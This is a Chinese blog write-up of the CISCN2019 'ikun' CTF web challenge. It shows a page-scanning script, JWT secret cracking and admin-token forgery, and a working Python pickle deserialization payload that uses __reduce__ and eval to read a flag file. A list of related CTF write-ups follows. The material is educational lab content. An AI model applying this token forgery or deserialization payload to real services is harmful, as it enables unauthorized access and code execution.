首页 > 其他分享 >WEB|[CISCN2019 华北赛区 Day1 Web2]ikun

WEB|[CISCN2019 华北赛区 Day1 Web2]ikun

时间:2023-05-06 15:57:17浏览次数:63  
标签:__ WEB lv6 ikun JWT Day1 flag become pickle


访问页面注册帐户登录,提示要买到lv6,翻了好几页发现没得lv6的商品,写个脚本跑看看lv6商品在第几页

import requests

i = 0
while True:
    i += 1
    url = 'http://40902fee-e0e5-4d7a-8b38-b16b5f97549b.node4.buuoj.cn:81/shop?page=%d' % (i)
    print(url)
    res = requests.get(url)
    if (res.status_code == 200) & ('lv6.png' in res.text):
        break
print(i)

在第181页找到lv6商品


但是lv6需要1145141919.0,帐户中只有10,抓包试试改价格,最终失败;修改折扣,也失败

在修改折扣后跳出来一个地址,访问一下,只允许admin访问

但是在header看到cookie中有个JWT,证明身份验证采用的是JWT,则可以爆破密匙然后解析JWT

Cookie: _xsrf=2|33888dbf|67745a3bbfbeb269b184a0a2d045e69d|1660383167; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78

爆破JWT密匙

这里使用的是brendan-rius/c-jwt-cracker

 ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78

Secret is "1Kun"

解析JWT

使用密匙去解析网站jwt.io伪造admin身份,得到admin的JWT

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo


修改cookie的JWT发包,点击一键成为大会员,并没有什么反应。

但是在网页源码中显示出了备份文件的网址,下载备份文件

python反序列化漏洞

become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))

在/www/sshop/views/Admin.py文件中使用了pickle模块,并且become参数可控,所以存在反序列化漏洞
通过重写__reduce__()魔法方法读取flag文件,reduce()魔法方法是当对象被Pickle时就会被调用

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a


添加参数发送请求,得到flag

flag{e1f91f72-ffb2-4e96-b7e5-e705abd4091a}

标签:__,WEB,lv6,ikun,JWT,Day1,flag,become,pickle
From: https://www.cnblogs.com/scarecr0w7/p/17377291.html

相关文章

  • WEB|[CISCN2019 华北赛区 Day1 Web1]Dropbox
    注册帐号登录存在文件上传点,抓包上传文件,修改Content-Type后可以上传代码文件,但是后缀会变为图片后缀上传文件后有文件下载功能抓包发现filename直接曝露在内容中,试试下载其他文件,发现存在任意文件下载漏洞将已知文件都下载下来文件源码login.php<?phpsession_start......
  • WEB|[GYCTF2020]Ezsqli
    页面只有一个输入框,并且题目提示为SQL注入输入1输入2输入3输入1、2和3输出的内容不同,所以判断为布尔注入判断数据库长度为21,确认为布尔注入依次匹配字符,匹配成功返回输入1的页面,否则显示输入2的页面payload:id=if(length(database())=21,1,2)爆数据库名id=if(sub......
  • WEB|[GWCTF 2019]枯燥的抽奖
    页面提示需要输入以lw1ar7AWmn开头的20位字符串才能获得flag,查看页面源码发现check.php访问check.php,发现源码伪随机数mt_srand($_SESSION['seed']);$str_long1="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for($i=0;$i......
  • APP和WEB的测试区别
    在功能测试时,要考虑手机应用的特性:1)手机屏幕尺寸偏小,所以手机应用一般就占满了全屏,因此要考虑手机在前后端切换时被测试应用在资源使用时的优先级变化情况;还要考虑手机横竖屏切换时的测试2)手机是智能移动终端,因此要考虑网络运营商、网络信号强弱、网络信号有无、被测试应用在低电......
  • WEB|[FBCTF2019]RCEService
    页面提示输入json格式的命令{"cmd":"ls"}输入ls命令查看当前目录文件,当前目录仅有index.php文件读取index.php文件,发现被检测到{"cmd":"cat./index.php"}经过测试发现很多命令和符号都被过滤,自己是没有做出来,在看别人的wp时发现他们不知道从哪里找到的源码源码<?ph......
  • WEB|[极客大挑战 2019]RCE ME
    <?phperror_reporting(0);if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("ThisistooLong.");......
  • WEB|[极客大挑战 2019]FinalSQL
    提示点击获取flag,依次点击可以发现注入点应该是在id,id=5提示试试id=6id=6也没有什么特殊内容,对id进行了简单测试,发现存在过滤,fuzz一下,发现对if、and、空格和()等部分符号进行了过滤过滤字符可使用其他字符绕过,页面存在盲注入,存在非法字符提示“你可别被我逮住了,臭弟弟”,输入......
  • WEB|[红明谷CTF 2021]write_shell
    源码:<?phperror_reporting(0);highlight_file(__FILE__);functioncheck($input){#过滤字符if(preg_match("/'||_|php|;|~|\\^|\\+|eval|{|}/i",$input)){//if(preg_match("/'||_|=|php/",$input)){die(......
  • WEB|[NPUCTF2020]ReadlezPHP
    打开网页发现什么都没有,burpsuite抓包查看源码发现链接./time.php?source,访问链接发现源码<?php#error_reporting(0);classHelloPhp{public$a;public$b;publicfunction__construct(){$this->a="Y-m-dh:i:s";$this->b="date&qu......
  • WEB|[NCTF2019]True XML cookbook
    题目提示XML,直接抓包注入XML<?xmlversion="1.0"?><!DOCTYPElkj[<!ENTITYadminSYSTEM"file:///flag">]><user> <username>&admin;</username> <password>1</password></user>读取失败修改......